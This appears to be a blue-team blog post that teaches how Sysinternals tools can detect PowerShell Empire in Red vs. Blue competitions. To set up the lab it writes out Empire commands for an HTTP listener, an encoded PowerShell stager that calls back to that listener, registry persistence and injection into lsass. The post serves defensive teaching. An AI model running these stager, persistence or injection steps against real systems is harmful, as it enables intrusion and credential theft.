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1 COMMENT

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INCIDENT RESPONSE, MALWARE
ANALYSIS, TALES OF A BLUE
TEAMER, TOOLS,
UNCATEGORIZED

TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS



Sysinternals is my go to Windows toolkit for malware analysis, incident response, and troubleshooting. Sysinternals contain tools that enable the user to analyze the inner workings of a Windows system. In this blog post, I will be covering how to use Sysinternals in Red vs.Blue competitions to detect Red team activity.

DISCLAIMER

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DISCLAIMER

Background

Knowing your enemy

In the famous words of Sun Tzu, “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will

also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

This quote illustrates a very important concept and in which to defend, you must understand your adversary. We will utilize Powershell Empire (Empire) to simulate an adversary so we can detect actions performed by Empire with Sysinternals. Before we start, I would like to give credit to Mark Russinovich's [Youtube video on Sysinternals](#). This video generated the idea for this blog post and a majority of the content.

Target audience: Red vs. Blue

This blog post is targeted at individuals competing in Red vs. Blue competitions who need to defend Windows. The mitigations in this blog post are targeted at competition environments. Please review each mitigation carefully if you choose to use them outside a competition environment.

Incident response reports

As an undergrad, I competed in several Red vs. Blue competitions(CCDC, IRSeC, ISTS, UB Lockdown, Alfred state) as a Blue Teamer, and all of them had incident response(IR) reports. Throughout these competitions, the Red Team will attack Blue Teams and perform malicious actions. The hope is that Blue Teams can setup preventions to stop this from happening or the ability to detect it. Once an incident has been detected, the Blue Team must write up a report on the incident. An IR report should include the following for a competition:

- **BE PROFESSIONAL**
- Team number
- Date
- Include timeframe of attack
- Assets that were deleted, modified, or added
- Scope of the attack – Users, machines, etc
- IOCs – IP addresses, domains, usernames, etc

Creating the Empire

Install/Setup Powershell Empire on Kali Linux

1. Spin up a Kali Linux
2. cd /opt
3. git clone https://github.com/EmpireProject/Empire.git
4. cd Empire
5. ./setup/install.sh
 - A. Hit enter to set a random server password
6. ./empire

Setup/Configure HTTP listener

1. listeners
2. uselistener http
 - A. set Name http80
 - B. set Host http://<IP addr of Kali Linux>:80
 - C. execute

```
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name http80
(Empire: listeners/http) > set Host http://172.16.66.128:80
(Empire: listeners/http) > execute
[*] Starting listener 'http80'
* Serving Flask app "http" (lazy loading)
* Environment: production
  WARNING: Do not use the development server in a production environment.
  Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) >
```

- D. back

Create Powershell stager


1. usestager multi/launcher http80
2. execute

```
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager multi/launcher http80
(Empire: stager/multi/launcher) > execute
powershell -noP -sta -w 1 -enc SQBGACG AJABQAFMAVgB LAHIAUwBJ
AZwBLACAAMwApAHsAJABHAFAA RgA9AFsAUgB lAGYAXQAuAEEAUwBTAGUATQB
UAhOB1AG4AdAAuAEEAdOB0AG8AbOBhAHQdAQBvAG4ALqBVAHQdAQBvAHMAdQ
```

3. Copy Powershell output string

Detonate Powershell stager

1. Spin up a Windows 10 VM and login
 2. Open a Powershell prompt as Administrator
 3. Copy Powershell output string and hit enter



Red team operations

Planting persistence

1. Enter “interact <agent ID>” into Powershell Empire
 2. usemodule persistence/userland/registry
 - A. set Listener http80
 3. execute

```
(Empire: powershell/persistence/userland/registry) > execute
[!] Error: Required module option missing.
(Empire: powershell/persistence/userland/registry) > set Listener http
(Empire: powershell/persistence/userland/registry) > execute
[+] Module is not opsec safe, run? [y/N] y
[*] Tasked T21YVF55 to run TASK_CMD_WAIT
[*] Agent T21YVF55 tasked with task ID 1
[*] Tasked agent T21YVF55 to run module powershell/persistence/userland/registry
(Empire: powershell/persistence/userland/registry) > [*] Agent T21YVF55 returned results.
Registry persistence established using listener http stored in HKCU:Software\Microsoft\Windows\CurrentVersion\Debug.
[*] Valid results returned by 172.16.17.145
```

Process injection

1. psinjected http80 lsass

```
(Empire: RB6GLDUW) > psinjected http lsass
[*] Tasked RB6GLDUW to run TASK_CMD_JOB
[*] Agent RB6GLDUW tasked with task ID 1
[*] Tasked agent RB6GLDUW to run module powershell/management/psinject
(Empire: RB6GLDUW) > [*] Agent RB6GLDUW returned results.
Job started: A2WR8L
[*] Valid results returned by 172.16.17.145
[*] Sending POWERSHELL stager (stage 1) to 172.16.17.145
[*] New agent VBND4TPH checked in
[+] Initial agent VBND4TPH from 172.16.17.145 now active (Slack)
[*] Sending agent (stage 2) to VBND4TPH at 172.16.17.145
```

Obtaining Sysinternals toolkit


Download zip

1. Browser
 - A. Browse to <https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite>
2. Powershell
 - A. `Invoke-WebRequest`
`https://download.sysinternals.com/files/SysinternalsSuite.zip -`
`OutFile SysinternalsSuite.zip`


Live SMB share

1. Open File Explorer
2. Select “My Computer” on the left

3. Select “Map network drive”
4. Enter “\\live.sysinternals.com” into Folder



5. Select Finish



Process Explorer

This by far my **FAVORITE** tool in the Sysinternals toolkit. Process Explorer provides the most comprehensive information about the current system if you don't know where to start. Process Explorer contains a color scheme(provided below) to visually differentiate specific types of processes. Keep in mind, services are processes that run in the background.


FYI, the Purple colored processes are packed pieces of software, meaning they may be compressed or obfuscate. Malware authors will pack their malware to obfuscate any strings within the binary from malware analysis.

Process colors

- **Pink** – Windows Service hosting processes
- **Blue** – Current user launched processes
- **Cyan** – Windows app store application
- **Purple** – Indicates a “packed” piece of software
- **Green** – Newly launched processes
- **Red** – Terminated process
- Dark Gray – Suspended process

Process info

- Displays a short summary about the process or service running when hovering over it.




A screenshot of the Process Explorer application. A tooltip is displayed over the 'explorer.exe' process, which is highlighted with a cyan selection bar. The tooltip shows the following details:

Services:
Active Directory Domain Services [NTDS]
Credential Manager [VaultSvc]
Encrypting File System (EFS) [EFS]
Kerberos Key Distribution Center [Kdc]
Netlogon [Netlogon]
Security Accounts Manager [SamSs]

The main table in Process Explorer lists various processes with their memory usage and other metrics. Notable entries include 'vds.exe', 'dllhost.exe', 'msdtc.exe', 'svchost.exe', 'lsass.exe', 'csrss.exe', 'winlogon.exe', 'dwm.exe', 'explorer.exe', 'vmtoolsd.exe', 'cmd.exe', 'conhost.exe', 'firefox.exe', 'proexp.exe', and 'PROCEXP64.exe'. The 'explorer.exe' row is highlighted with a cyan selection bar, and its tooltip is visible.

vds.exe	1,828 K	7,492 K	2324	Virtual L		
dllhost.exe	3,172 K	9,980 K	2340	COM Si		
msdtc.exe	2,340 K	6,764 K	2416	Microso		
svchost.exe	1,016 K	4,196 K	4088	Host Pn		
lsass.exe	59,920 K	61,088 K	500	Local S		
csrss.exe	0.01	1,928 K	24,912 K	2468	Client S	
winlogon.exe			292 K	2688	Window	
dwm.exe			372 K	2008	Desktop	
explorer.exe			296 K	3244	Window	
vmtoolsd.exe			244 K	3544	VMware	
cmd.exe			164 K	1124	Window	
conhost.exe			024 K	1996	Console	
firefox.exe	0.58	175,724 K	201,916 K	3272	Firefox	
proexp.exe		2,208 K	6,896 K	2756	Sysinter	
PROCEXP64.exe	0.46	15.284 K	33.760 K	780	Svsinter	




Process Details


Double-clicking a process will pop-up a box with information pertaining to the process. This information may include details about the binary on disk. Details about how the process is interacting with the machine – networking, ASCII strings in the binary on disk vs in memory, and security privileges.

Image tab

The “Image” tab shows information like the process name, application version number, execution path, the command used to initiate the process, and the parent process. The “Verify” button allows an incident responder to verify the digital signature of a process. Furthermore, Process Explorer will check if the signature has expired or if the signature has been revoked.


The “VirusTotal” button allows the incident responder to submit the hash of the **BINARY ON DISK** for analysis by VirusTotal. As you can see below, VirusTotal reported that the process is not malicious for our FireFox process and our Powershell Empire agent. This is a very important concept to understand. Process Explorer is submitting the file hash of the binary on DISK and not the contents of the process in memory. Therefore, VirusTotal will report our Powershell Empire agent as benign. In competitions submitting binaries to VirusTotal may be against the rules. **PLEASE check the rules before uploading the binary**, writing Red Team malware is time intensive.






TCP/IP Tab

The “TCP/IP” tab contains some great information for security competitions that can be included in incident response reports. The following tab shows information pertaining to established and listening connections for TCP/TCPv6, local address/port, remote address/port, and connection status. The incident responder also has the option to resolve domains or disable it to collect the IP address. However, if a process has a beaconing component, the connection entry will show up for less than a second and disappear – more on this later.



Strings tab


The “Strings” tab will show all printable strings within the binary on disk and in memory. It may be useful to compare the strings from the binary on disk(image option) vs. the strings in memory. In some cases, if the strings are not the same, this may be an indicator that the process was hijacked. Strings may reveal IP addresses, domain names, and etc which can be included in an incident response report.



Process state(s) and tricks

1. Right-click a process
 - Kill Process
 - As the name implies, this will kill the process
 - Set Priority
 - If you have a piece of malware you are still analyzing or can't kill an incident responder can set the priority to "Idle". This will reduce the amount of processing time and resources the malicious process can utilize.
 - Kill Process Tree
 - If a malicious parent process is spawning malicious processes the incident responder can kill the entire chain.
 - Restart
 - The ability to restart a process

- An incident responder can restart a process to see the initial beacons to a C2 server.
- Suspend
 - THIS trick is one of my favorite features built into Process Explorer, especially in security competitions. The Red Team may deploy malware that has multiple processes that look out for each other like watchdogs. For example, let's say I have deployed malware which has three processes named A, B, and C. If you kill process A, B and C will notice this and respawn A – the same is true with B and C. The best way to tackle this issue is to suspend the process(A, B, and C) related to the malware. If the processes are looking for the existence of a process then it will appear but it won't be active. Once all processes related to the malware are suspended, the incident responder can clean up the malware.




Process Explorer Columns

The default view of Process Explorer is pretty verbose but it doesn't include all columns for a competition. You may enable additional columns to display additional attributes about each process,

such as:


- Command line
 - User that owns the process
 - Verified signer/Digitally signature of the process
 - It's a rule by Microsoft that all Microsoft code **should** be signed.
 - Version of the process
 - Image path where the binary resides
 - Auto-start location in the registry
 - Start time of the process
 - Threads of the process, or Number of threads
 - Memory Usage
1. Right-click the column at the top of the processes and select “Select columns”
 2. Checkboxes to enable a column



Digital/Verify signature of processes

One way to discover malware is a process that isn't digitally signed by Microsoft or an authorized digital signature authority. The easiest way to detect UNSIGNED processes is to enable the "Verified Signature" column. As a side note, it is a rule at Microsoft that all code by Microsoft **should** be signed by Microsoft. FYI, if this computer is unplugged from the internet, it will verify signatures using its built-in record set. If a certificate has been revoked, this may not be in the built-in record set – no detection.

1. Select "Options" at the top then "Verify image signatures".




DLL Handles Viewer

This pane will display DLLs being used by a process OR handles being utilized by a process. A DLL is dynamically linked library which is loaded at run time. Handles are references to a resource such as memory or an open file on disk. This section can be very useful but is overwhelming unless you know what you are looking for.

In the Red Team section above, we injected a Powershell Empire agent into LSASS. By default, LSASS uses the Microsoft C runtime and at the time of this writing, does NOT depend on the Microsoft .NET framework. Therefore, one way to detect if Empire has been injected into LSASS is to detect if the Microsoft .NET runtime has been loaded.

- Pressing “Ctrl + D” will open the DLL viewer for a particular process.




A screenshot of the Windows Task Manager showing the DLLs loaded by the lsass.exe process. The table lists the DLL name, description, company name, and path. The DLLs listed include KerbClientShared.dll, kerberos.dll, winmr.dll, lsass.exe, efsisasext.dll, lsasrv.dll, lsasrv.dll.mui, sspisrv.dll, clr.dll, mscoreei.dll, mscoree.dll, and cljit.dll. All DLLs are from Microsoft Corporation and are located in the System32 directory.

Name	Description	Company Name	Path
KerbClientShared.dll	Kerberos Client Shared Functionality	Microsoft Corporation	C:\Windows\System32\KerbClientShared.dll
kerberos.dll	Kerberos Security Package	Microsoft Corporation	C:\Windows\System32\kerberos.dll
winmr.dll	LDAP RnR Provider DLL	Microsoft Corporation	C:\Windows\System32\winmr.dll
lsass.exe	Local Security Authority Process	Microsoft Corporation	C:\Windows\System32\lsass.exe
efsisasext.dll	LSA extension for EFS	Microsoft Corporation	C:\Windows\System32\efsisasext.dll
lsasrv.dll	LSA Server DLL	Microsoft Corporation	C:\Windows\System32\lsasrv.dll
lsasrv.dll.mui	LSA Server DLL	Microsoft Corporation	C:\Windows\System32\en-US\lsasrv.dll.mui
sspisrv.dll	LSA SSPI RPC interface DLL	Microsoft Corporation	C:\Windows\System32\sspisrv.dll
clr.dll	Microsoft .NET Runtime Common ...	Microsoft Corporation	C:\Windows\Microsoft.NET\Framework64\
mscoreei.dll	Microsoft .NET Runtime Execution...	Microsoft Corporation	C:\Windows\Microsoft.NET\Framework64\
mscoree.dll	Microsoft .NET Runtime Execution...	Microsoft Corporation	C:\Windows\System32\mscoree.dll
cljit.dll	Microsoft .NET Runtime Just-In-Ti...	Microsoft Corporation	C:\Windows\Microsoft.NET\Framework64\

Process dump

Process Explorer allows for a Blue Teamer to dump the contents of a process from memory. This dump can then be analyzed by tools such as Volatility and Rekall for further analysis. However, you will **NOT** have time in a competition to analyze a memory dump. This is a cool thing to know but is not something to be done in a competition.


1. Right-click the “Powershell.exe” process
2. Go to “Create dump” then select “Create Full dump”



Replace default Task Manager

Process Explorer allows you to replace the Task Manager with Process Explorer. This is a really great shortcut for Blue Teamers during a competition.


1. Select “Options” at the top then select “Replace task manager”



Detecting process injection


Below, I am going to demonstrate how to detect Powershell Empire when injected into a process. The mileage with this detection technique may vary with different Red Team tools. If you look at the running threads for a process that has been injected into, you might see a thread with a start address of “0x0”. In a competition, if a start address is set to 0x0 there is a high likelihood it's an injected thread. If you believe this is a malicious thread, kill the thread, and if you're correct, their Powershell Empire agent should die(Second screenshot). If you would like more information on this technique, please see this [tutorial](#) for more information

1. Double-click LSASS.exe
2. Select the “Threads” tab



The screenshot shows the Windows Task Manager for the process "lsass.exe:624". The "Threads" tab is selected. There are 16 threads listed. Thread 644 is highlighted and has a start address of 0x0.

TID	CPU	Cycles Delta	Service	Start Address
6764				clr.dll!GetPrivateContextsPerfCounters+...
672				ntdll.dll!TpReleaseWork+0x2c0
6456				clr.dll!GetPrivateContextsPerfCounters+...
6784				clr.dll!GetPrivateContextsPerfCounters+...
644				lsass.exe!LsaImpersonateKsecCaller+0...
652				lsasrv.dll!Lsa!SetPackageAttrInLogonS...
656				ntdll.dll!TpReleaseWork+0x2c0
700				ntdll.dll!TpReleaseWork+0x2c0
3116				msvcrtd.dll!lendthread+0x40
3856				ntdll.dll!TpReleaseWork+0x2c0
4692				0x0



```
(Empire: agents) > interact 8M1E4BRFio.exe
(Empire: 8M1E4BRF) > ps
[*] Tasked 8M1E4BRF to run TASK_SHELL
[*] Agent 8M1E4BRF tasked with task ID 1
(Empire: 8M1E4BRF) > █
```


TCView

This tool is *like* a graphical version of the netstat command. By default, the “Unconnected endpoints” option is enabled. When this option is toggled, it will only show established TCP connections. Additionally, if toggled again, UDP connections, listening services, and TCP states like “TIME_WAIT” will be displayed. This is one of the many tools in Sysinternals which is simple and straightforward. As mentioned above, malware with beacon like components will be displayed in green for less than a second.

Network colors


- **Green** – Newly launched network connections
- **Red** – Terminated network connections

Unconnected Endpoints Disabled




Process	PID	Protocol	Local Address	Local Port	Remote Address	Remote Port	State	Sent Packets	Sent Bytes	Rcvd Packets	Rcvd Bytes
Indexer.exe	3952	TCP	WIN-DO1MHGA...	61919	localhost	61920	ESTABLISHED				
Indexer.exe	3952	TCP	WIN-DO1MHGA...	61920	localhost	61919	ESTABLISHED	45	45	45	45

Unconnected Endpoints Enabled



Process	PID	Protocol	Local Address	Local Port	Remote Address	Remote Port	State
lsass.exe	612	TCP	DESKTOP-HIDE6...	49689	DESKTOP-HIDE6...	0	LISTENING
lsass.exe	612	TCPV6	desktop-hide661	49689	desktop-hide661	0	LISTENING
services.exe	580	TCP	DESKTOP-HIDE6...	49668	DESKTOP-HIDE6...	0	LISTENING
services.exe	580	TCPV6	desktop-hide661	49668	desktop-hide661	0	LISTENING
spoolsv.exe	1580	TCP	DESKTOP-HIDE6...	49667	DESKTOP-HIDE6...	0	LISTENING
spoolsv.exe	1580	TCPV6	desktop-hide661	49667	desktop-hide661	0	LISTENING
svchost.exe	816	TCP	DESKTOP-HIDE6...	epmap	DESKTOP-HIDE6...	0	LISTENING
svchost.exe	1016	TCP	DESKTOP-HIDE6...	49665	DESKTOP-HIDE6...	0	LISTENING
svchost.exe	984	TCP	DESKTOP-HIDE6...	49666	DESKTOP-HIDE6...	0	LISTENING
svchost.exe	1840	UDP	DESKTOP-HIDE6...	ssdp	*	*	LISTENING
svchost.exe	1040	HTTP	DESKTOP-HIDE6...	80	*	*	

Process Details



Autoruns

Autoruns is a tool that will enumerate all the KNOWN locations that persistence can be placed.

Persistence is “an object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off. When an object or state is created and needs to be persistent, it is saved in a non-volatile storage location, like a hard drive, versus a temporary file or volatile random access memory “.

For example, persistence is an application that runs when you login or a service that starts at boot. Red team will place their malware in these persistent locations to survive a reboot or when the user logs out. Persistent mechanisms include: scheduled tasks, drivers, services, logon tasks, Office products, etc.

In a fresh installation of Windows 7 there are roughly 1,000+ persistent techniques that can be used. Unfortunately, I can't find my source for this statement so accept it as is. I would also take the time to watch this [Youtube video: T117 Evading Autoruns Kyle Hanslovan Chris Bisnett](#) on different ways to evade Autoruns.

Pro tip for Blue Teamers in a competition: Finding ALL the persistent mechanisms planted by the Red Team is the best way to kick the Red Team out of your box. If you have successfully removed all the persistent mechanisms, the next step is to reboot the box. A reboot will wipe all the contents of memory, so any trusted processes that have been injected, will no longer contain malicious code. Additionally, persistence can be extended to things such as users which will NOT be displayed by Autoruns.

- Everything tab – This tab by default will show all scheduled items such as: drivers, services, scheduled tasks, logon tasks, Office products, etc. To hide Microsoft signed items select “Options” at the top then “Hide Microsoft Entries”.

Autorun Entry	Description	Publisher	Image Path	Timestamp	VirusTotal
HKLM\Software\Microsoft\Windows\CurrentVersion\Run				2/27/2019 10:42 AM	
SecurityHealth	Windows Defender notification ic...	Microsoft Corporation	c:\program files\windows defend...	12/12/1996 2:34 AM	
VMware User Process	VMware Tools Core Service	VMware, Inc.	c:\program files\vmware\vmware...	9/4/2018 5:04 AM	
HKCU\Software\Microsoft\Windows\CurrentVersion\Run				10/31/2017 1:32 AM	
OneDrive	Microsoft OneDrive	Microsoft Corporation	c:\users\sherlock.holmes\appda...	1/23/2019 9:03 PM	
HKLM\Software\Microsoft\Active Setup\Installed Components				10/31/2017 1:31 AM	

- Logon tab – All the tasks that will run when a user logs on.

Autorun Entry	Description	Publisher	Image Path
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Alternate Shell			
cmd.exe	Windows Command Processor	Microsoft Corporation	c:\windows\system32\cmd.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run			
SecurityHealth	Windows Defender notification ic...	Microsoft Corporation	c:\program files\windows defend...
VMware User Process	VMware Tools Core Service	VMware, Inc.	c:\program files\vmware\vmware...
HKCU\Software\Microsoft\Windows\CurrentVersion\Run			
OneDrive	Microsoft OneDrive	Microsoft Corporation	c:\users\sherlock.holmes\appda...

- Explorer tab – All the tasks that will run when explorer.exe starts.

Everything	Logon	Explorer	Internet Explorer	Scheduled Tasks	Services	Drivers
Autorun Entry	Description	Publisher	Image Path			
HKLM\Software\Classes\"ShellEx\ContextMenuHandlers						
EPP	Microsoft Security Client Shell Ext... Microsoft Corporation	c:\program files\windows defend...				
HKLM\Software\Classes\Drive\ShellEx\ContextMenuHandlers						
EPP	Microsoft Security Client Shell Ext... Microsoft Corporation	c:\program files\windows defend...				
HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers						
EPP	Microsoft Security Client Shell Ext... Microsoft Corporation	c:\program files\windows defend...				

- Scheduled tasks tab – All the scheduled tasks on the system.


Everything	Logon	Explorer	Internet Explorer	Scheduled Tasks	Services	Drivers
Autorun Entry	Description	Publisher	Image Path			
Task Scheduler						
Microsoft\Office\Of...	Microsoft Office Click-to-Run Client Microsoft Corporation	c:\program files\microsoft o...				
Microsoft\Office\Of...	Microsoft Office Click-to-Run Client Microsoft Corporation	c:\program files\microsoft o...				
Microsoft\Office\Of...	Office Subscription Licensing He... Microsoft Corporation	c:\program files (x86)\microsoft o...				
Microsoft\Office\Of...	Background task for Office flight... Microsoft Corporation	c:\program files (x86)\microsoft o...				
Microsoft\Office\Of...	Background task for Office flight... Microsoft Corporation	c:\program files (x86)\microsoft o...				
Microsoft\Office\Of...	Office Telemetry Agent Microsoft Corporation	c:\program files (x86)\microsoft o...				
Microsoft\Office\Of...	Office Telemetry Agent Microsoft Corporation	c:\program files (x86)\microsoft o...				

- Drivers tab -Display all the hardware drivers

Everything	Logon	Explorer	Internet Explorer	Scheduled Tasks	Services	Drivers	Code
Autorun Entry	Description	Publisher	Image Path				
HKLM\System\CurrentControlSet\Services							
3ware	3ware: LSI 3ware SCSI Storport ... LSI	c:\windows\system32\drivers\3...					
ADP80XX	ADP80XX: PMC-Sierra Storport ... PMC-Sierra	c:\windows\system32\drivers\ad...					
amdsata	amdsata: AHCI 1.3 Device Driver Advanced Micro Devices	c:\windows\system32\drivers\a...					
amdsbs	amdsbs: AMD Technology AHCI ... AMD Technologies Inc.	c:\windows\system32\drivers\a...					
amdxata	amdxata: Storage Filter Driver Advanced Micro Devices	c:\windows\system32\drivers\a...					
arcisas	Adaptec SAS/SATA-II RAID Stor... PMC-Sierra, Inc.	c:\windows\system32\drivers\ar...					
b06bdrv	QLogic Network Adapter VBD: Q... QLogic Corporation	c:\windows\system32\drivers\bx...					
bcmfn2	bcmfn2 Service: BCM Function 2... Windows (R) Win 7 DDK provider	c:\windows\system32\drivers\bc...					


Scan options

- Go to “Options” and select “Scan options”.
 - The incident responder can select to submit files to VirusTotal.
 - Can also submit unknown images.
 - The incident responder can select to verify signatures.



Discover Empire

1. Enter “powershell” into the search filter.
 - A. The persistent mechanism we placed earlier will show up. This persistent mechanism will run when the machine starts up.



ListDLLs

The name of this tool is self-explanatory on its ability; you have the ability to search for a specific DLL being utilized by processes, enumerate DLLs in a process/PID, or enumerate all unsigned

DLLs.

List the DLLs in each process

1. OpenPowershell prompt as Administrator
2. Cd Sysinternals
3. .\listdlls.exe

```
PS C:\Users\Sherlock Holmes\Desktop\SysinternalsSuite> .\Listdlls.exe /?

Listdlls v3.2 - Listdlls
Copyright (C) 1997-2016 Mark Russinovich
Sysinternals

usage: listdlls [-r] [-v | -u] [processname|pid]
usage: listdlls [-r] [-v] [-d dllname]
  processname    Dump DLLs loaded by process (partial name accepted)
  pid            Dump DLLs associated with the specified process id
  dllname       Show only processes that have loaded the specified DLL.
  -r             Flag DLLs that relocated because they are not loaded at
                 their base address.
  -u             Only list unsigned DLLs.
  -v             Show DLL version information.

PS C:\Users\Sherlock Holmes\Desktop\SysinternalsSuite> .\Listdlls.exe lsass

Listdlls v3.2 - Listdlls
Copyright (C) 1997-2016 Mark Russinovich
Sysinternals

-----
lsass.exe pid: 624
Command line: C:\Windows\system32\lsass.exe

Base          Size      Path
0x00000000add90000 0x11000  C:\Windows\system32\lsass.exe
0x00000000023fb0000 0x1db000  C:\Windows\SYSTEM32\ntdll.dll
0x00000000021d50000 0xae000  C:\Windows\System32\KERNEL32.DLL
0x00000000021250000 0x249000  C:\Windows\System32\KERNELBASE.dll
0x00000000022410000 0x125000  C:\Windows\System32\RPCRT4.dll
0x00000000020060000 0x16f000  C:\Windows\System32\lsasrv.dll
0x00000000023f10000 0x9d000  C:\Windows\System32\msvcrt.dll
0x00000000023ea0000 0x6c000  C:\Windows\System32\WS2_32.dll
0x00000000020320000 0x30000  C:\Windows\System32\SspiCli.dll
0x00000000021ba0000 0x59000  C:\Windows\System32\sechost.dll
0x00000000020420000 0x11000  C:\Windows\System32\MSASN1.dll
0x0000000001ff80000 0xd8000  C:\Windows\SYSTEM32\samsrv.dll
0x000000000204d0000 0xf6000  C:\Windows\System32\ucrtbase.dll
0x00000000020720000 0x1c9000  C:\Windows\System32\CRYPT32.dll
0x000000000202f0000 0x25000  C:\Windows\System32\bcrypt.dll
```

List all the UNSIGNED DLLs in processes

```
1. .\listdlls.exe -u

powershell.exe pid: 3444
Command line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFMVAvgBFHAIUw
BJAEBAbgBUAEAQbgBMUAGbQAFMAvgBFHAIAcwBpAE8AbgAuAE0AYQ8KAG8AUgAgAC0AzwBtACAAmWApHsAJAHFAAArgA9AfSugBtAEYAxQaUEEAUw
BzAGUAbQBCAEwAeQaUeAeCzAROB0AFQAOwB0GUAkAnFAmAeBzQHQA0ZBtAC4TQHAg4YAgwBnGuAQB0GAbQbBtHQAQoBvAg4ALg
BVHAQoAbQBsAHMAwpcAAC4TgBHAQVABGAgkZQ2BwAgwRAAtAcJgBwBtAEG4AyBwAgUoBzAHBHAIBw1B1AHAAwBtAgwAqBjHlAbwBtAHQdAbpG4AZw
BzAcCALAAne4JwArAcBwvBpAfA0d0B1AgwAcBjAcwBtBwAg80AgEAdApBzGMw1ApAdIsBzQSGACgAcJAHFABAArAgpAhSAJAHFAAQuQAc0ARQw80AEylg
BHAGUAbwBtAGEAbVAGUAKAAkAE4V0BsWgAKQ0A7AEKArgoAcQARQwB0AEwBnAwFAMFwAyBwAgkAcB0oIAEJwArACBabvAGMwBz8wBnAgBkg
BnAcxQApAsJAHFAAHQwBbAcLwUwBtJwHAtAwnBwQAHQAgAnAc5JwBsAG8yBwBrAewBwBnAgCaQubGAcJwBdFsJwBFAAG4Y0BtAgwZQ2TAGMwAgc
BpAHAAAbABCAcKwAnAgwAbwJsAGTABwAgCzBwAgDzBwAnAf0PAwDsJzABAHFAAQuQAcBjAcwBtJwBjHIA1QwBnHQAgAnCsAjsWbsAG8yBwRtAewBw
BnAgCzAbQwBzAgd5AfA5JwBFAAG4Y0BtAgwZQ2TAGwAgCzBpAHADBCAGwBwBt5JgsASQBuAHYAbwBtAgeADBpAgB8BwBnAgBAbgBnAcCAXQ
A9ADAATQAHQwBzAQQ5sAD0AwBzBAG4BABA8BAGuAyWwUEAKwBwUAMHALgBHAQwAtBgfAF1IAAbDRC4KARABJAEMAVBpAE8ATgBnA1AeQBDAMHAvABsBAGkAbg
BnAcwLwBzAHMVAfBfAE0d0gBPEATA5gbTAGwAdBwAf0QAgG4A7QZBxAcgAKQ7ACQdAgBwAgwAzbPEAQRARAooAcCARObuAgEAYBgsAGUwBtJHIAQ
BwHAQObAgAnAc5JwBsAG8yBwBrAewBwBnAgCaQubGAcJwBdFsJwBFAAG4Y0BtAgwZQ2TAGMwAgc
BzAG8yBwBrAekBpAg2GAwBtYwBhAqBwAqBvAg4TAByAgCzBwAgDzBwAnAf0PAwDsJzABAHFAAQuQAcBjAcwBtJwBjHIA1QwBnHQAgAnCsAjsWbsAG8yBwRtAewBw
```

List all the processes that contain a specific DLL

A common DLL loaded by Powershell Empire is `Microsoft.CSharp.ni.dll`. Looking for this DLL in processes can help you detect Powershell Empire even if process injection occurred.

```
1. .\Listdlls.exe -d Microsoft.CSharp.ni.dll

-----
lsass.exe pid: 624
Command Line: C:\Windows\system32\lsass.exe

Base          Size     Path
0x00000000009d0000 0x1e2000 C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\c000c1c68b60a59a24622ba5f629d6f2\Microsoft.CSharp.ni.dll
Error opening SecurityHealthService.exe(1816):
Access is denied.

Error opening MsMpEng.exe(1880):
Access is denied.

Error opening Memory Compression(1992):
Access is denied.

powershell1.exe pid: 1892
Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell1.exe"

Base          Size     Path
0x00000000009d0000 0x1e2000 C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\c000c1c68b60a59a24622ba5f629d6f2\Microsoft.CSharp.ni.dll
powershell1.exe pid: 3288
Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell1.exe" -noP -sta -w 1 -enc SQRGACnA7A9QAFMAVgBFATHAUwB7A1ERhgBUAEFAqBGMAG1lqB0AFMAvg0
KAG8AlqAgAqMwApAhsJAJBHAFAArQa9AfAsQgBqAEYAXQoAAEUAuBzAG1AbQAEWeoQoAAEAcARQoAfQoMwB0AGUAKAanAFMaEoBzAH1AZ0B7AC4ATB0HAG4AY0BnAGuAbQB1AG44dA
AG4lgbVAlQHQAqBzAIIAJ3AII41gbWqUAVABGAQzQgBqGwRAAIACqJlwBAGEAYlwBoQGUUAZABHAIHTAlwBHAUAIABGwAqDQjAHLAlwBHOAqJAG4lzbwzAIICALAInAE4A7JwBAC-CAbwBu
```


Sigcheck

Sigcheck is a great tool that can be used to verify all executables on a Windows system. Sigcheck has the option to check all unverified executables if they are not signed to submit them to VirusTotal. If Sigcheck happens to find a malicious executable, it will open a VirusTotal webpage to the results and Sigcheck will return the location of executable.

Red teamers will place their malware in `C:\Windows\System32` because that is where Windows places its binaries. The location of the binary may make the binary seem legit.

Clean Windows 10 system


1. OpenPowershell prompt as Administrator
2. Cd Sysinternals
3. `.\sigcheck.exe -e -u -vr -s C:\Windows\System32`
 - A. -e: Look at all executables
 - B. -u: Look at all executables that are unsigned
 - C. -vr: Submitting executables to VirtusTotal for analysis
 - D. -s: A recursive search
 - E. C:\Windows\System32 – Location to search



```
Administrator: Windows PowerShell
PS C:\Users\Sherlock Holmes\Desktop\SysinternalsSuite> .\sigcheck.exe -e -u -s C:\Windows\System32
Sigcheck v2.55 - File version and signature viewer
Copyright (C) 2004-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
No matching files were found.
```

Malicious binary

I copied a malicious binary generated by Empire to `C:\Windows\System32`. This binary is UNsigned and as we discussed above is a tactic used by the Red Team. The screenshot below is demonstrating Sigcheck detecting a rogue binary.



```
Administrator: Windows PowerShell
PS C:\Users\Sherlock Holmes\Desktop\SysinternalsSuite> .\sigcheck.exe -e -u -s C:\Windows\System32
Sigcheck v2.55 - File version and signature viewer
Copyright (C) 2004-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\1.exe:
  Verified: Unsigned
  Link date: 6:34 AM 7/1/2009
  Publisher: n/a
  Company: Apache Software Foundation
  Description: ApacheBench command line utility
